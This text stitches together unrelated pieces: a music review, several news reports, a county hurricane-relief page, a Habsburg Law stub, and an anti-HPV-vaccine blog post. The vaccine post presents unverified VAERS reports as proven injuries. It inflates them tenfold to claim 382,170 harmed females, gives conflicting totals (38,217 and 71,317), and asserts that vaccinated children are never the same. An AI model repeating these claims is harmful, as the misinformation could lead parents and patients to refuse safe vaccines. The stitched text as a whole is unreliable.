Don’t worry my friends, they will take you to the top of the mountain faster than you think! Solos are flying, what a great first song they got! Feels like we could fly through cotton clouds, it is so refreshing and liberating. I love how the sax gets along with everything, its combination with their very soft and laid back drum beats is perfect, so you can’t sometimes hear the difference between vocals and the sax. I’ve been waiting a long time for that. This also reminds me the epic songs from Causa Sui, but there’s something different about them and I think I quickly captured that right after their second songs.
HUMINOITA got this compact and powerful alchemy that make them so tight together and show in its purest form their messages they want to send through their music. I got back to All Them Witches early beats and grooves but in a much more aerial form. They will softly take you higher and higher.
As a five piece band, HUMINOITA managed to generate a very large panel of atmospheres. I strongly believe there’s a very strong dialogue between keyboards, sax and vocals. Vocals which are mostly here to carry out the melody will gently caress your ears. I always loved when bands are putting a jazzy feeling into their songs, nevertheless the song can be a very loud and heavy track, it won’t change the way you feel the groove. I felt Papir’s drum beats influence here and there, making you bounce and groove nice and slowly…
HUMINOITA got something that I thought I will never feel anywhere than listening to Jeff Buckley’s songs. Their song called “The Pilgrim” instantly hit me right in the spot, I felt it like a great homage to “Mojo Pin”. Goosebumps appeared, this is some heavy shit. HUMINOITA managed to recreate this mellow vibe that is so touchy and excessively sensitive. What a great song, they hit you right a the spot so fast and take you for the ride of your life, it feels like they could jam for hours on that song! Each instrument is taking the leads one after another to take you a step further at every new solo, this is pure epicness.
In a 6-tracks album, HUMINOITA will, I’m sure, convince you to go and visit Finland! While listening to “King of Hearts” I closed my eyes and easily pictured myself flying above their endless hilly landscape, their mountain forest as I liked to call them when I first saw them near the Vesijärvi (Finnish lake), for me their music is an honest and true expression of what you could have, seating in a boat, drinking a “Karhu” (Finnish beer) while contemplating the crack of the sun at dawn. Their sound is welcoming, as warm as the first ray of the sun on a cold morning, it’s embracing like your mom’s hugs, and as epic as throwing a piece of rubbish in a distant trash, first try, in front of all your colleagues.
My only and unique regret would be the absence of lead vocals, as the vocals have the same function as a backing one, I sometimes missed a (girl’s?) voice within their songs, like Sleepy Sun did a few albums back. There is time and space for it, and this, for my part, could add a layer of pure sensibility that could finish running through my soul.
So looks like Finland’s got some really cool new bands showing up lately! If it’s not already the case, you should take a look at their local scene, it’s pretty rad. HUMINOITA is here for you, soon after that, maybe you’ll reconsider having a sax player in your band? Maybe you’ll reconsider going building a new life in Finland? Maybe you’ll reconsider hugging your mother more often? The choice is yours, but don’t be too late.
Have a safe trip.
San Diego Police said a 15-year-old male suspect was shot and killed during the incident just before 3:30 a.m. on Del Mar Heights Road.
Police are still investigating what led to the shooting, but said they believe the suspect called to report himself to officers in the third-person for a "welfare check." Police arrived to find the teenager standing in the parking lot of the high school, according to SDPD Acting Captain Mike Holden.
Officers said the suspect pulled out a handgun from his waistband and pointed it at the two officers, Capt. Holden said. Verbal commands were given to drop the weapon but the teen did not comply, according to officers.
Capt. Holden said the teen then began walking toward one of the officers while pointing the weapon at them. Officers, once again, said the teen refused verbal commands given to drop the weapon.
Fearing for their safety, Capt. Holden said officers fired their weapons at the teenager, striking him multiple times. Police later identified the handgun used by the teenager as a "semi-automatic BB air pistol."
Read SDPD's statement here
Officers began administering first aid and paramedics were called to the scene. The boy was transported to Scripps Memorial Hospital La Jolla, where he was pronounced dead.
The name of the suspect was not released, as he is a juvenile. Police said his family has been notified.
No officers were injured during the shooting. The officers' body cameras were on at the time of the shooting, though no word was given on whether that footage would be released. SDPD identified the two officers as a 28-year veteran and a four-year veteran.
Later Saturday, the San Dieguito Union High School District confirmed in a letter to parents that the teenager was a student of Torrey Pines High School.
"I am saddened to report that the 15-year-old boy who was killed was a student at our school. Law enforcement has not released the name of the young man, but our hearts go out to the student, his family, and his friends," Superintendent Eric Dill said in the statement. "I know this is difficult, but we ask that you please refrain from conjecture or spreading rumors. This is a difficult time for the family and we need to let them mourn."
Dill said a crisis response team will be made available at the high school's campus Monday and counseling services will be available at all campuses in the school district.
"As a community, we have a shared responsibility to care for one another. Please rest assured that we will do everything possible to maintain our daily routine while supporting each other as we deal with this sad event," Dill said.
The shooting took place just hours before students arrived to take a scheduled SAT exam. Those individuals were allowed on campus but directed to enter at a different location from the parking lot entrance.
Police shoot & kill 15 year old standing in the #TorreyPinesHS parking lot. They say he pulled out a gun and pointed it at officers @10News pic.twitter.com/HEvx9G2KBp — Jessica Chen (@10NewsJessica) May 6, 2017
About 50 volunteers are traveling to the Standing Rock reservation, home to a massive encampment of “water protectors,” as the activists prefer to be called, to share a bountiful “Wopila Feast” on Thanksgiving Day.
“Wopila” means “thank you” in Lakota, and the feast is a way to give thanks to the activists who are putting their lives on the line to protect the water supply for those on the reservation and millions of others downstream from the 1,100-mile pipeline that is quickly nearing completion.
“Our purpose is to give back to Native Americans – the Standing Rock Sioux and representatives of over 300 native tribes from throughout the Americas who have joined them in support,” said Judy Wicks, one of the feast’s main organizers, in a press release.
The delegation plans to serve 500 meals to the water protectors, which will include 30 turkeys, as well as “traditional” Thanksgiving Day foods which were actually originally cultivated by Native American people, including, squash, beans, potatoes, and pumpkin.
“The wisdom this country was founded on came from the native people and in this time of forgetting we need to come back to the well of wisdom and the depth of a culture of peace to remember and to serve,” Jodie Evans, a co-founder of the peace group CodePink who is helping to organize the feast, said in the press release.
People are coming from far and wide to contribute to the feast. In addition to helping to serve the dinner, Jane Fonda, the actress, is donating five butchered bison and four Mongolian yurts to the water protectors. Lou Ann Merkle, a high school teacher, and Rachael Rodriquez, a high school student, are bringing messages of thanks from Philadelphia-area students.
Native Americans and the myth of the first Thanksgiving are inextricably linked in the American imagination, but Wicks noted the reality of Native American repression and genocide bears little resemblance to the traditional stories of a first meal shared between European settlers and Indigenous people. In a Nov. 17 post on her homepage, she wrote:
“The idyllic traditional story of the first Thanksgiving in which the settlers shared with the native people in 1621 is largely a myth. Tragically and shamefully, what followed the European arrival was five hundred years of genocide and betrayal of Native Americans. To this day, treaties are being broken for the benefit of white expansionism.”
The high-profile feast could bring much-needed attention to the water protectors as they struggle to halt construction of the pipeline amid falling winter temperatures and a rising tide of police brutality. On Sunday, police and private pipeline security personnel attacked the water protectors as they attempted to clear away burned vehicles that were blocking traffic near the reservation. Police used a variety of “less lethal” weapons on the activists demonstrating in below-freezing conditions, including tear gas, an LRAD sound cannon, and water cannons.
Unicorn Riot reported that at least 160 people were injured by police on Sunday night and into Monday morning, though some other reports put the number as high as 300. The independent media collective also noted two reports of cardiac arrest among those doused by the water cannons, including an elder reported to be in critical condition. Sophia Wilansky, a 21-year-old medic, was hit by a police concussion grenade and may need to have her arm amputated.
"Instantaneous Blast CS" grenade, manufactured by Defense Technology, fired at #NoDAPL water protectors on Highway 1806 last night pic.twitter.com/b34PsASz8b — Unicorn Riot (@UR_Ninja) November 22, 2016
Supporters have flooded phone lines from the Morton County Sheriff’s Department to the White House in hopes of halting construction and preventing the next police attack.
Do what's right, not what's easy. Here is a list of numbers you can call about #StandingRock #NoDAPL pic.twitter.com/ROyhyXP5dO — dan rolle (@danrolle) November 22, 2016
Native activists were rebuffed in attempts to meet with Kelcy Warren, the CEO of Energy Transfer Partners, the main corporation behind the pipeline. Warren promised to meet with members of the Society of Native Nations after activists targeted a Nov. 3 meeting of the Texas Parks and Wildlife Commission, of which Warren is a member.
In a Nov. 17 press release from the Society of Native Nations, the NGO’s board of directors wrote:
Chief Minister of Telangana K Chandrasekhar Rao (KCR) and N Chandrababu Naidu, Chief Minister of AP are offering themselves up as role model ‘Digital CMs’ to the Narendra Modi regime and have designed strategies individually.
Naidu launched 'AP Purse' last week, a government sponsored payment platform with 13 mobile banking and 10 mobile wallets. In turn, KCR launched an e-wallet enterprise in collaboration with ICICI Bank. “Why should we oppose demonetisation blindly? If Telangana has to survive, we have to go for cashless transactions to increase our revenue by five times,” said KCR at the Secretariat on Saturday.
The idea behind trying to push the cashless transactions agenda is a banal one. Both states are hopeful of enhancing the prospects of central assistance for their mega infrastructure development agenda. Hence the push to leapfrog financial platforms — in an effort to project their states as the choicest destinations for infusion of global investment, technology and project monetisation in the near future.
AP Purse
Launching the new platform AP Purse on Tuesday, Naidu said that the government introduced Marpu Nestam (Friend for change), to educate people on digital financial literacy. The government will pay incentives to agents who train people in digital financial literacy.
AP Purse is an app which will provide links to 13 mobile banking and 10 mobile wallets with Aadhaar card to pay bills and purchases to retail traders and vendors in a cashless way. “We will train engineering students to enlighten the traders, vendors and also the common man on use of bank accounts and ‘RUpay’ cards,” he said. He made 90 lakh DWCRA (self-help groups of women) members and 70 lakh beneficiaries of the MGNREGS to open bank accounts in villages.
Naidu, who interacted with bankers and RBI representatives, said that Rs 2,472 crores was available with banks and that they would get another Rs 1,100 crores in December to tide over the cash crunch but emphasised that a cashless regime by 2017 was a stark reality. A document released by the CMO ahead of the launch of AP Purse said that there were only 46,126 (rural) and 60,173 (urban) banking outlets with internet facility, out of a total of 3.83 branches. There were only 10,516 ATMs of which nearly 6,250 were in urban areas. The Naidu government has let loose a blitzkrieg of advertisements in newspapers, Telugu TV channels and radio on use of cards, particularly the RUpay card of Jan Dhan accounts.
Telangana e-wallet and the Siddipet experiment
KCR has introduced the e-wallet in collaboration with ICICI Bank to address grievances of farmers, traders and Jan Dhan account holders.
KCR said that the state was geared to go digital at all levels. To begin with, stamps and registrations, civil supplies, excise and all government payments, including salaries to govt employees, would be on cashless platform of UPIS (Uniform Payment Interface System). “It will not be possible to change people’s habits overnight. Cash transactions are part of our life and culture. Initially all transactions above Rs 500 will be cashless,” he said.
The Telangana government has introduced a cashless transaction model in Rythu Bazaars (farmer markets) for the benefit of vegetable vendors in Hyderabad and Siddipet in collaboration with HDFC Bank. Customers can buy daily vegetables with tokens linked to their Aadhaar and HDFC cards. Besides Siddipet, the facility of Aadhaar linking for debit cards has been launched in Gajwel and Warangal market yards as well. “This is a temporary arrangement until the change crisis is resolved and banks’ link to markets is completed,” says T Harish Rao, state marketing minister.
Telangana has 5,200 bank branches with one bank for every three to four villages and has one lakh POS machines. “For a complete cashless regime, Telangana needs 20 lakh POS (swiping machines),” says a state finance ministry official. He said Rs 75,000 crores of cash was in circulation in the state before demonetisation, accounting for 86 percent of the total money in the state but so far only Rs 35,000 crores in banned notes were deposited in banks and the Centre has pumped in Rs 12,500 crores.
“Telangana has fewer banks and ATMs than Andhra — 5,212 bank branches and 10,000 ATMs. Hardly one tenth of banks and ATMs are in rural areas and Hyderabad accounts for 90 percent of branches and ATMs. Internet connectivity is very poor and only 60 percent of ATMs function in Hyderabad,” said Mohammed Ali Shabbir, Opposition leader in the Telangana Legislative Council. He also termed KCR’s claim of achieving cashless regime by 2017 as deceptive since there was only one bank branch to service 10 villages and just 88 lakhs people out of 4-crore population had bank accounts, he said.
The Effect
Opposition criticisms apart, Hyderabad and many towns of Telangana and Andhra Pradesh’s Vijayawada and Rajahmundry witnessed public furore with large queues in front of ATMs and banks. “Satrol ho gaya (business has gone kaput)” say wholesale traders at Goshamahal, Feelkhana, Begum Bazar, Siddiambar Bazar, Monda and Pathergatti where traders took cash from retailers for bulk purchases. “We had roaring business with 80 percent in cash and 20 percent on cheques and now everybody is demanding credit,” says Syed Aneesuddin, a bulk goods trader at Feelkhana.
Many traders say business is down now as they cannot give discounts to retailers – thanks to online payments, they have to pay Goods and Service Tax. According to RBI figures, there are about 13 lakh POS units in Telangana and the demand was for a minimum of 54 lakh.
The decision to go digital immediately by the two states is to get the early bird benefits from the Centre and also to improve their monthly revenues. “If we prove to be enabled for cashless transactions, our credentials in international markets will be benchmarked for big global investments,” Naidu told reporters on Saturday at Vijayawada.
Both these revenue-starved states are willing to go to great lengths in order to increase fund inflow — even at the cost of spending heavily on improving infrastructure and reducing liquidity in the market. While AP claimed that it had lost over Rs 1,300 crores in revenue generation in just one month, Telangana says it lost nearly Rs 800 crores. Both the governments have promised lavish welfare measures and freebies. Coffers cannot be empty for too long. And so the Telugu speaking neighbours have decided to join the Centre’s chorus on encouraging cashless transactions.
“Exhaustive efforts are on-going to re-deploy affected employees. Petronas will further embark on a separation exercise for these employees as needed, which is expected to be completed over the next six months,” it said in a statement today.
The announcement was made following a townhall meeting today between Petronas president and group CEO Wan Zulkiflee Wan Ariffin with the company's employees today.
Petronas employs a total of 50,949 staff, according to its 2014 annual report.
The restructuring exercise comes just months after Shell Malaysia announced its own job cuts.
On Sept 30 last year, Shell had reportedly announced that it would be laying off 1,300 of its 6,500-strong workforce.
As part of Petronas' restructuring exercise, some leadership changes will also be made beginning April 1.
As expected, Republicans lined up to block a procedural vote for Robert Wilkins. His nomination needed 60 votes to advance. Instead, the Senate voted 53 to 38, with just two Republicans, Sens. Susan Collins (Maine) and Lisa Murkowski (Alaska), siding with Democrats to let him get a confirmation vote.
The GOP blockade on Wilkins was no surprise. In the last month, Republicans filibustered Obama's two other D.C. Circuit nominees, Patricia Millett and Nina Pillard. They'll readily admit their opposition isn't personal; they just don't want Obama to put any of his nominees on the court. Some argue the court isn't busy enough to warrant filling its three empty seats, and others make the counterintuitive argument that Obama is "court-packing" by filling vacancies. Both arguments gloss over the fact that the president has a constitutional duty to fill empty seats on a court.
Democrats have been warning for weeks that they're prepared to invoke the "nuclear option" and strip Republicans of their ability to block Obama's nominees if they keep filibustering. With Wilkins' vote now blocked, Democrats have to decide if they have it in them to change institutional rules that both parties are typically reluctant to mess with.
Senate Majority Leader Harry Reid (D-Nev.) and other Democratic leaders are expected to weigh their next steps in a Monday night leadership meeting. One idea being considered is stripping Republicans' ability to filibuster judicial and executive nominees, but not nominees to the Supreme Court. Aides emphasized that nothing has been decided, however, and leaders will likely discuss their options with the full Democratic caucus during lunch on Tuesday.
By the sounds of it during Wilkins' vote, some Democrats are ready to go nuclear right now.
"I fear that after tonight, the talk about changing the cloture rules for judicial nominations will no longer be just talk. There will be action," said Sen. Patrick Leahy (D-Vt.), chairman of the Senate Judiciary Committee. "We cannot allow this unprecedented, wholesale obstruction to continue without undermining the Senate’s role provided in the Constitution and without harming our independent federal judiciary."
“When will we say enough is enough? Repeatedly over the past month, a minority of senators has blocked qualified nominees by abusing the Senate rules," Sen. Jeff Merkley (D-Ore.) said. "The rules on nominees are not working, and we need to change them."
But Republicans are largely shrugging off Democrats' threats, suspecting it's all talk. Senate Minority Leader Mitch McConnell (R-Ky.) said the real reason Democrats want to keep talking about the D.C. Circuit is to take attention away from the rocky rollout of the president's health care law.
Democrats are trying to "distract Americans from the failings of Obamacare," McConnell said ahead of Wilkins' vote. "I hope the Senate will focus on things people care about rather than spend its time trying to distract them."
Shortly after the vote, Obama railed against Republicans for blocking another of his key nominees.
Veteran striker Bobby Zamora says he turned down an offer from a club that will play in the Champions League this season in order to return to Brighton.
Zamora scored 83 goals in four prolific seasons for the Seagulls before leaving for Tottenham in 2003.
"I had an offer from a Champions League team, and a team who win their league pretty much every year, so it was hard," the 34-year-old told BBC Sussex.
"But Brighton was the only place I really wanted to be."
Zamora, who was a free agent after being released by QPR at the end of last season, warned fans not to expect a repeat of his previous goalscoring feats.
"It was very different back then. We started off in the third division and that was a team that had been together a while," he said.
Bobby dazzler: Zamora's record at Brighton Season Games Goals 1999-00 12 6 2000-01 48 31 2001-02 46 32 2002-03 36 14
"The ultimate goal isn't 30 goals for me, it's making sure the team put in a good performance every week.
"It's a hard league, probably harder than the Premier League in terms of the number of games and the number of teams who could win the league."
Seagulls boss Chris Hughton said Zamora's huge experience had been the key factor in his decision to sign a player he previously worked with at Spurs.
"The deal was done in a very short space of time but that shows the desire on both sides," said Hughton.
"We have to use his experience and knowledge. His game has changed over the years and he's now more of an out-and-out target man who can look after possession, score goals and be an aerial threat.
The protest, held on the day Parliament is due to debate airport expansion in the UK , left long tailbacks to terminals 1,2 and 3.
Campaign group Plane Stupid, which is fighting proposals for a new third runway at Heathrow, claimed responsibility.
Protest activity in the inbound tunnel is currently affecting traffic around the central terminal area and terminals 2 & 3 at Heathrow. 1/2 — Heathrow Airport (@HeathrowAirport) November 26, 2015
Three members of the group parked a van bearing David Cameron's election promise "No Ifs, No Buts: No Third Runway" across both lanes of the entrance tunnel.
Massive gridlock outside #Heathrow due to anti-third runway protesters. Total chaos. pic.twitter.com/6OaBcFEoLZ — Mike Butcher (@mikebutcher) November 26, 2015
In a press release posted on the group's website, Plane Stupid spokeswoman Cameron Kaye said: "Airport expansion would wreck the legally binding Climate Change Act, risking wiping out 55 per cent of species this century and displacing 75 million more people from their homes by 2035.
"If aviation growth isn't reduced, by 2037 aviation alone could emit all of the carbon it's safe for the UK to emit.
At 7:40am today three Plane stupid activist have blockaded the entrance tunnel to Heathrow terminals 123. #planestupid #no3rdrunway #climate — Plane Stupid (@planestupid) November 26, 2015
"The government needs to choose: build new runways or stop climate chaos: it's that simple."
"There is already airport capacity for families taking their yearly holiday. New runways only benefit the 15 per cent of flyers who take 70 per cent of our flights, cooking our planet.
"These are rich frequent leisure flyers. The most reliable predictors of frequent flyer status are a household income over £115,000 and owning a second home abroad, but it's the poorest people who suffer most from climate change."
The long-awaited final report of the Airports Commission, which will present the findings of an inquiry into Heathrow expansion, is due to be debated in the House of Commons from 9.30am.
In its release, Plane Stupid quoted "local resident Neil Keveren", from nearby Harmondsworth, saying: "No one wants to do this. They feel they have to. People feel they have no choice.
"After we campaigned for years, David Cameron was elected promising 'no ifs, no buts: no third runway'.
• Boris Johnson: A third runway at Heathrow would be a huge mistake
"In 2010 the High Court ruled third runway plans 'untenable in law and common sense' because they breached the Climate Change Act.
"Now Cameron might just build it anyway. We have tried every other option. We have been forced to be disobedient just to be heard. To save our homes and our planet."
However, Rob Gray, of the Back Heathrow campaign, said: "This demonstration by a handful of protestors does not represent the views of most people in west London or beyond.
"Of the 70,000 responses to the Airports Commission public consultation, 82 per cent were in favour of Heathrow expansion.
Advice for drivers headed to T2/3 - reroute to T4 & 5 and take free inter-terminal transfer to T2 & 3. Traffic delays due to protest. — Heathrow Airport (@HeathrowAirport) November 26, 2015
"A new runway has strong cross-party support in Parliament and is backed by the majority of UK businesses, international airlines and local residents."
A Metropolitan Police spokesman said: "Officers are currently dealing with a protest near the inbound tunnel of Heathrow airport.
"They were called at 7.42am on Thursday, November 26. Five arrests have been made."
Officers have now finished dealing with a protest at the inbound tunnel of Heathrow airport. Five arrests were made;Three vehicles recovered — Metropolitan Police (@metpoliceuk) November 26, 2015
Do you have damage to your home or business as a result of Irma?
Click this link to fill out a damage assessment.
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When the power goes out, food can spoil. Learn what to keep and what to throw away.
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Sanitation will collect debris on your normal collection day.
Branches and limbs must be trimmed and cut to a maximum of four feet, stacked neatly at the curb or placed in an approved receptacle. Trees must be cut as small as possible, so that each piece does not exceed a maximum of 50 pounds. Tree limbs that are cut by professional or hired contractors should not be left at the curb for collection by the Sanitation Division.
All yard trimmings must be properly prepared for collection and placed in approved 20- to 40-gallon receptacles. Approved receptacles include durable metal and plastic containers, durable biodegradable paper bags and must have two durable handles. Paper bags should be folded at the top to minimize rain deteriorating the paper bags. Yard trimmings placed in plastic bags will not be collected.
Do not place debris in storm drains, creeks or culverts. Clogging these stormwater systems can result in local flooding.
Individual Assistance
If you need assistance with crisis cleanup:
From now through September 30 , call the number below for help with home cleanup. As they are able, reputable and vetted relief agencies may assist you and your neighbors cut fallen trees, remove drywall, insulation, flooring, furniture, appliances, tarp roofs, etc. All services are free, but service is not guaranteed due to the overwhelming need.
Importantly, this hotline CANNOT assist with social services such as food, clothing, shelter, insurance, or questions about FEMA registration. Volunteers work free of charge and provide the tools and equipment necessary to complete the work. To request help: CALL: 1-800-451-1954.
If you need shelter assistance (temporary shelter, not Red Cross run, for residents to recharge phones, take a break, have relief from heat, but will not be housing):
United way of Atlanta: 404-614-1000 or 211 or 211online.unitedwayatlanta.org
Peace Baptist Church: 347-309-7686
Rainbow Park Baptist Church: 404-288-1910
Fairfield Baptist Church: 770-482-7660
Clarkston First Baptist: 404-292-5686
New Life Church: 770-570-0354
If you need food assistance:
United Way of Atlanta: 404-614-1000 or 211 or 211online.unitedwayatlanta.org
Atlanta Community Food Bank : 404-435-0560
Berean Christian Church Outreach Ministry (must have GA license and most current power bill, 9 am-12 pm, 2 pm-5pm): 770-593-4421
If you need clothing assistance:
Berean Christian Church Outreach Ministry (must have GA license and most current power bill, 9 am-12 pm, 2 pm-5pm): 770-593-4421
News
Sept. 15: How to Spot a Storm-Damaged Tree
Sept. 15: More than 100 Roads Reopened in DeKalb
Sept. 14: DeKalb Crews Make Progress Clearing Roads and Debris after Irma
Sept. 13: Irma Hits DeKalb County Hard, Local State of Emergency Declared
Sept. 12: DeKalb Employees to Report on Wednesday
​Sept. 12: DeKalb Health Officials Warn Residents of Spoiled Food Hazards
Sept. 12: Georgia Power Working to Restore Service in DeKalb
Sept. 12: DeKalb Storm Debris Pickup to Begin Sept. 13
Sept. 12: DeKalb Offices, Facilities Remain Closed Tuesday
Sept. 11: Residents Urged to Avoid Calling 911 for Non-life-threatening Incidents
Sept. 11: DeKalb Sanitation to Resume Service Wednesday
Sept. 10: DeKalb Sanitation Suspends Collection Service Due to Irma
Sept. 10: DeKalb County Offices, Facilities to Close During Hurricane Irma
Sept. 10: Updated Hurricane Irma Preparation Tips
Sept. 8: Hurricane Irma Preparation Tips for DeKalb County, Ga.
Sept. 8: DeKalb County to Provide Update on Hurrican Irma Preparation (Watch live at 2:30 p.m. on Facebook or DCTV Comcast Channel 23)
Sept. 6: DeKalb Prepares for Potential Impacts from Hurricane Irma
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There are no doubts by now that most readers have heard that in the USA there is much concern about everyone being vaccinated with booster shots, regardless of age! See a previous article I wrote about that.
Well, if there ever were a vaccine that should scare the living daylights out of everyone, it is the HPV (human papillomavirus) vaccine, of which there are three:
Gardasil® manufactured by Merck & Company (approved June 8, 2006)
Cervarix® manufactured by GlaxoSmithKline (approved October 16, 2009)
Gardasil 9® manufactured by Merck & Company (approved December 10, 2014)
Literally, the HPV vaccines have been life-changing for many young girls and women – and definitely not for the better. One group of vaccine safety advocates, SaneVax, is dedicated to tracking, documenting, and exposing the harms HPV vaccines have done not only in the USA, but in other countries of the world.
Their website has an amazing array of information, but the most remarkable first-glance information is the “HPV Vaccine VAERS Reports Up to Mar 2015,” which blasts very unsettling statistics regarding only HPV vaccines:
Disabled 1,311
Deaths 226
Did Not Recover 7,703
Abnormal Pap Smear 685
Cervical Dysplasia 265
Cervical Cancer 102
Life Threatening 685
Emergency Room 12,429
Hospitalized 4,009
Extended Hospital Stay 267
Serious 5,418
Adverse Events 38,217
Grand Total HPV Vaccine only Problems reported in the CDC database: 38,217 in less than 10 years!
However, that striking number does not represent the exact number of HPV harms since the CDC admits that VAERS reports actually represent 10 percent, or less, of all vaccine adverse reactions/harms.
If that be the case, then there is a possibility that as many as 382,170 females could be harmed from the HPV vaccines. OMG!
The above data come from reports made to the CDC’s Vaccine Adverse Event Reporting System (VAERS), not some fictitious public relations agenda. Those 71,317 HPV-vaccine-induced harms are verifiable as being submitted on behalf of individuals who have been harmed by a corporate manufacturer’s product for which pharmaceutical corporations have no legal liability for damages caused. How outrageous a situation is that in the USA, especially since the Vaccine Court dismisses almost 3 claims for every vaccine damage claim awarded?
Back in October of 2013 I wrote this article about vaccine damage claims paid: Compensated: 3,387; Dismissed: 9,651.
As of fiscal year 2015, Claims Compensated: 4,026; Claims Dismissed: 9,882. [1]
Even former FDA Commissioner David Kessler, MD, wrote an article published in the Journal of the American Medical Association (JAMA) June 2, 1993,vol.269, No.21, p.2785, wherein he stated the incredibly sad facts about how few adverse event reports actually are made: “only about 1% of serious adverse events are reported to the FDA.” It seems that MDs and healthcare professionals, who should know better, are the worst offenders at not reporting vaccine adverse events. Based upon Kessler’s admission, could the real—or closer to factual—HPV vaccine adverse reactions be 382,170?
Physicians apparent lack of professionalism regarding reporting adverse vaccine events may stem from their dogmatic beliefs that any reaction patients experience from vaccines only are “coincidences.” The graph below shows just how negligent the medical profession is in reporting pharmaceutical, including vaccine, adverse reactions. Can that be considered “medical malpractice”? Why is adverse event reporting not mandated under law for the medical profession just like vaccines are mandated for people to receive them?
“The blue bars are direct reports, submitted by health professionals or the public — about 4% of the total submitted in 2010. The remainder are submitted by manufacturers.” Source: Adverse Events Reporting System (AERS) and https://www.sciencebasedmedicine.org/gold-mine-or-dumpster-dive-a-closer-look-at-adverse-event-reports/
Can you imagine any other manufacturer getting away with such product liability malfeasance like vaccine makers do? The word malfeasance is a legal term applying to public officials’ culpability. The U.S. Congress is to blame for giving vaccine manufacturers a “Get out of Jail FREE” card on vaccine product liability.
And yet, no one wants to correct that gravely flawed “no-fault-vaccine-liability” gift-program the U.S. Congress gave to Big Pharma and vaccine manufacturers!
Is there any wonder why the public is overly concerned about and refusing to get vaccines? Rightfully so! Take a perfectly healthy child to get shot up with up to nine (9) vaccines at one doctor’s visit and the kid never is the same afterward. Who, in their right mind, except Big Pharma executives and their medical acolytes, wouldn’t question, be scared, or refuse to have their child damaged for life? There ought to be a law against damaging a child with vaccines! VAERS proves it happens more than we know! Kids aren’t the only ones; adults experience vaccine damage, e.g., Guillain-Barré syndrome (GBS) [2].
Since the U.S. Congress, federal and state health agencies are doing nothing to investigate the problems with vaccines and their toxic ingredients; are kowtowing to pseudo-science or what more realistically is “consensus science”; and introducing/passing oppressive resolutions [3] advocating increased vaccine schedules, concerned citizens have taken it upon themselves to expose the criminal activities going on in the name of medical science. The HPV vaccines are the perfect ‘poster child’ for that, since those vaccines account for a good number of the VAERS reports being made.
However, in countries other than the USA, there are totally different tactics being taken by national governments, even to suing vaccine makers and stopping vaccination programs. Here are some examples:
The Colombian Controversy Continues
http://sanevax.org/hpv-vaccines-colombian-controversy-continues/
HPV Vaccines and the Supreme Court of India
http://sanevax.org/update-hpv-vaccines-supreme-court-india/
Japan: Committed to HPV vaccine Safety, Efficacy and Need
http://sanevax.org/japan-committed-hpv-vaccine-safety-efficacy-need/
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French Petition against HPV Vaccines
http://sanevax.org/french-petition-hpv-vaccines/
AAVP asks Spanish Health Ministry to Ban HPV Vaccines
http://sanevax.org/aavp-asks-spanish-health-ministry-ban-hpv-vaccines/
UK: Parliamentary meeting of families with girls injured by HPV vaccines
http://sanevax.org/uk-parliamentary-meeting-families-girls-injured-hpv-vaccines/
I think readers can get an idea that there is world-wide concern, plus legal actions instituted against the HPV vaccine manufacturers, but nothing is done in the USA where there is the most damage confirmed as per the CDC VAERS reports! Furthermore, the U.S. media actively refuses to report vaccine ‘politics’ in other countries. Why? For more information about HPV vaccine issues in other countries, readers may want to look through SaneVax’s Press Releases here.
The most amazing and admirable mission of SaneVax is its presence in countries around the globe, as stated in SaneVax: Who we are, What we do, Why we do:
SANEVAX has an international presence in the countries of Argentina, Australia, Belgium, Brazil, Canada, Denmark, Japan, Finland, France, India, Ireland, Israel, Italy, Malaysia, Mexico, Netherlands, New Zealand, Norway, Peru, Russia, Spain, South Africa, Sweden, Zambia, United Kingdom, and United States of America. We are known in 157 countries around the world.
SaneVax has been instrumental in helping injured HPV vaccinees attain justice in their respective country’s legal system.
In November 2014, a 15 year-old survivor of HPV vaccination, living in El Carmen de Bolivar, Colombia, became the recipient of the first judgment issued by any High Court in the country in a case regarding complications occurring after HPV vaccination. In this landmark decision the court ruled that the fundamental rights of this girl and her newborn daughter must be protected by Colombian health authorities.
One has to question why is there such a total disconnect between legal systems in the USA and other countries? The problem in the USA is Congress and the lobbying system that makes “money talk” and deprives every individual of his/her right to self-determination regarding toxic vaccines, or when one is harmed by any of Big Pharma’s vaccines—as is the case with HPV vaccine damage in the USA.
The Vaccine Court in the USA often is referred to as a ‘kangaroo court’. There’s a total legal disconnect in the USA that would never be permitted either in industry, i.e., automotive, manufacturing, etc., or in foreign countries’ health and legal systems.
Though the AIFF officials have claimed that around a dozen footballers have already signed contracts to play the I-League for the AIFF developmental side, sources said that some of players in the 21-member squad are reluctant to fall in line.
The boys, whose current contracts with the AIFF end on December 31, 2017, have been offered deals up to Rs. 1.50 lakh per month by certain I-League clubs and ISL franchises.
The AIFF, on the other hand, has offered a three-year contract with a flat salary of Rs. 50,000 per month.
The unwilling boys include a host of leading players like Dheeraj Singh, Suresh Singh, Jeakson Singh, Amarjit Singh, Komal Thatal and Rahul KP.
They have been advised by their new-found agents, officials in different clubs or family members not to accept the three-year contract offered by the AIFF.
There are also allegations that some former India stars are working behind the scene to help clubs acquire the services of these boys.
The nature of the contract and its terms and conditions have also not been liked by the footballers.
While the players felt that the amount was not sufficient, they are also not happy with the clauses in the contracts, which stop them from having independent negotiations and make it mandatory to go through the AIFF regarding any negotiations for the next five years.
The problem is that many of these players have already received big offers. While goalkeeper Dheeraj has a big offer from an ISL franchise, others are dreaming of playing for big teams in the I-League beginning next month.
Asked, a senior AIFF official said several factors are working against the players signing deals with the AIFF.
“Not just the agents, unfortunately even some of the former India players are involved in it.
“To add to it, the agents are also misleading the boys and their parents.
The Habsburg Law (Habsburgergesetz (in full, the Law concerning the Expulsion and the Takeover of the Assets of the House Habsburg-Lorraine) Gesetz vom 3. April 1919 betreffend die Landesverweisung und die Übernahme des Vermögens des Hauses Habsburg-Lothringen) was a law originally passed by the Constitutional Assembly (Konstituierende Nationalversammlung) of German Austria, one of the successor states of dismantled Austria-Hungary, on 3 April 1919. The law legally dethroned the House of Habsburg-Lorraine as rulers of the country which had declared itself a republic on 12 November 1918, exiled them and confiscated their property. The Habsburg Law was repealed in 1935 and the Habsburg family was given back its property. However, in 1938, following the Anschluss, the Nazis reintroduced the Habsburg Law, and it was retained when Austria regained its independence after World War II.
The law has been found to violate human rights, and for this reason, Austria was forced to repeal large parts of it, notably the ban on members of the Habsburg family entering Austria, before being admitted into the European Union in the 1990s.[1] After a report by the Organization for Security and Co-operation in Europe (OSCE) criticized the prohibition against members of the Habsburg family running for the Austrian presidency, this provision was also withdrawn in June 2011 by the Austrian parliament. Although the law still remains in force, it is considered largely obsolete, with the notable exception of the confiscation of the family's property in force since 1938.[2]
First Republic [ edit ]
